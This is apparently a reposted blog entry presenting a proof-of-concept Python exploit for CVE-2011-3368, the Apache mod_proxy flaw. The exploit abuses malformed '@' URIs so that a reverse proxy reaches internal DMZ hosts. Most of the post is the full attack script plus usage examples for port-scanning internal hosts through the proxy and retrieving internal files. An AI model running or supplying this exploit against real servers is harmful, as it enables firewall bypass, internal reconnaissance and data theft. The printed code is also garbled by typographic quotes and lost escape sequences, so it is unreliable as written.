⚠️ CVE-2011-3368

⚠️ CVE-2011-3368

The information has been provided by Rodrigo Marcos.

A recent Apache vulnerability has been made public whereby an attacker could gain unauthorised access to content in the DMZ network:

The mod_proxy module in the Apache HTTP Server 1.3.x through 1.3.42, 2.0.x through 2.0.64, and 2.2.x through 2.2.21 does not properly interact with use of (1) RewriteRule and (2) ProxyPassMatch pattern matches for configuration of a reverse proxy, which allows remote attackers to send requests to intranet servers via a malformed URI containing an initial @ (at sign) character.

SECFORCE

SECFORCE has developed a proof of concept for this vulnerability, available for download from our security tools section on our website. The script exploits the vulnerability and allows the user to retrieve arbitrary known files from the DMZ. The tool can also be used to perform a port scan of the web server using the Apache proxy functionality, and therefore bypassing any firewall.

The following output shows the usage of the tool:

python apache_proxy_scanner.py
CVE-2011-3368 proof of concept by Rodrigo Marcos
http://www.secforce.co.uk
usage():
python apache_scan.py [options]
 [options]
    -r: Remote Apache host
    -p: Remote Apache port (default is 80)
    -u: URL on the remote web server (default is /)
    -d: Host in the DMZ (default is 127.0.0.1)
    -e: Port in the DMZ (enables 'single port scan')
    -g: GET request to the host in the DMZ (default is /)
    -h: Help page
examples:
 - Port scan of the remote host
    python apache_scan.py -r www.example.com -u /img/test.gif
 - Port scan of a host in the DMZ
    python apache_scan.py -r www.example.com -u /img/test.gif
	-d internalhost.local
- Retrieve a resource from a host in the DMZ
    python apache_scan.py -r www.example.com -u /img/test.gif
	-d internalhost.local -e 80 -g /accounts/index.html

The tool can be used to perform a portscan of the target host in the following way:

python apache_proxy_scanner.py -r <target> -u <uri>

The following screenshot shows the result of the command above:

Apache proxy port scan results

The script can be used to perform a bounce scan of a host in the DMZ or in the Internet:

python apache_proxy_scanner.py -r 192.168.85.161
	-u /rewrite/test -d internalhost
python apache_proxy_scanner.py -r 192.168.85.161
	-u /rewrite/test -d www.example.com

Apache_proxy_scanner will report open/filtered/closed ports in internal and external hosts.

You can find some more information about the tool here:
http://www.secforce.co.uk/blog/2011/10/cve-2011-3368-poc-apache-proxy-scanner/

CVE-2011-3368 Python Exploit

#!/usr/bin/env python

import socket
import string
import getopt, sys

known_ports = [0,21,22,23,25,53,69,80,110,137,139,443,445,3306,3389,5432,5900,8080]

def send_request(url, apache_target, apache_port, internal_target, internal_port, resource):

 get = ‘GET ‘ + url + ‘@’ + internal_target + ‘:’ + internal_port + ‘/’ + resource + ‘ HTTP/1.1rn’
 get = get + ‘Host: ‘ + apache_target + ‘rnrn’
 
 remoteserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 remoteserver.settimeout(3)

 try:
  remoteserver.connect((apache_target, int(apache_port)))
  remoteserver.send(get)
  return remoteserver.recv(4096)
 except:
  return ”

def get_banner(result):
 return result[string.find(result, ‘rnrn’)+4:]

def scan_host(url, apache_target, apache_port, internal_target, tested_ports, resource):

 print_banner(url, apache_target, apache_port, internal_target, tested_ports, resource)
 for port in tested_ports:
  port = str(port)
  result = send_request(url, apache_target, apache_port, internal_target, port, resource)
  if string.find(result,’HTTP/1.1 200′)!=-1 or
  string.find(result,’HTTP/1.1 30′)!=-1 or
  string.find(result,’HTTP/1.1 502′)!=-1:
   print ‘- Open port: ‘ + port + ‘/TCP’
   print get_banner(result)
  elif len(result)==0:
    print ‘- Filtered port: ‘ + port + ‘/TCP’
  else:
    print ‘- Closed port: ‘ + port + ‘/TCP’
   

def usage():
 print
 print ‘CVE-2011-3368 proof of concept by Rodrigo Marcos’
 print ‘http://www.secforce.co.uk’
 print
 print ‘usage():’
 print ‘python apache_scan.py [options]’
 print
 print ‘ [options]’
 print ‘ -r: Remote Apache host’
 print ‘ -p: Remote Apache port (default is 80)’
 print ‘ -u: URL on the remote web server (default is /)’
 print ‘ -d: Host in the DMZ (default is 127.0.0.1)’
 print ‘ -e: Port in the DMZ (enables ‘single port scan’)’
 print ‘ -g: GET request to the host in the DMZ (default is /)’
 print ‘ -h: Help page’
 print
 print ‘examples:’
 print ‘ – Port scan of the remote host’
 print ‘ python apache_scan.py -r www.example.com -u /images/test.gif’
 print ‘ – Port scan of a host in the DMZ’
 print ‘ python apache_scan.py -r www.example.com -u /images/test.gif -d internalhost.local’
 print ‘ – Retrieve a resource from a host in the DMZ’
 print ‘ python apache_scan.py -r www.example.com -u /images/test.gif -d internalhost.local -e 80 -g /accounts/index.html’
 print

def print_banner(url, apache_target, apache_port, internal_target, tested_ports, resource):
 print
 print ‘CVE-2011-3368 proof of concept by Rodrigo Marcos’
 print ‘http://www.secforce.co.uk’
 print
 print ‘ [+] Target: ‘ + apache_target
 print ‘ [+] Target port: ‘ + apache_port
 print ‘ [+] Internal host: ‘ + internal_target
 print ‘ [+] Tested ports: ‘ + str(tested_ports)
 print ‘ [+] Internal resource: ‘ + resource
 print

def main():

 global apache_target
 global apache_port
 global url
 global internal_target
 global internal_port
 global resource

 try:
  opts, args = getopt.getopt(sys.argv[1:], ‘u:r:p:d:e:g:h’, [‘help’])
 except getopt.GetoptError:
  usage()
  sys.exit(2)

 try:
  for o, a in opts:
   if o in (‘-h’, ‘–help’):
    usage()
    sys.exit(2)
   if o == ‘-u’:
    url=a
   if o == ‘-r’:
    apache_target=a
   if o == ‘-p’:
    apache_port=a
   if o == ‘-d’:
    internal_target = a
   if o == ‘-e’:
    internal_port=a
   if o == ‘-g’:
    resource=a
  
 except getopt.GetoptError:
  usage()
  sys.exit(2)
  
 if apache_target == ”:
  usage()
  sys.exit(2)

url = ‘/’
apache_target = ”
apache_port = ’80’
internal_target = ‘127.0.0.1’
internal_port = ”
resource = ‘/’

main()

if internal_port!=”:
 tested_ports = [internal_port]
else:
 tested_ports = known_ports

scan_host(url, apache_target, apache_port, internal_target, tested_ports, resource)
Written by
Stefan Pejcic
Join the discussion

I enjoy constructive responses and professional comments to my posts, and invite anyone to comment or link to my site.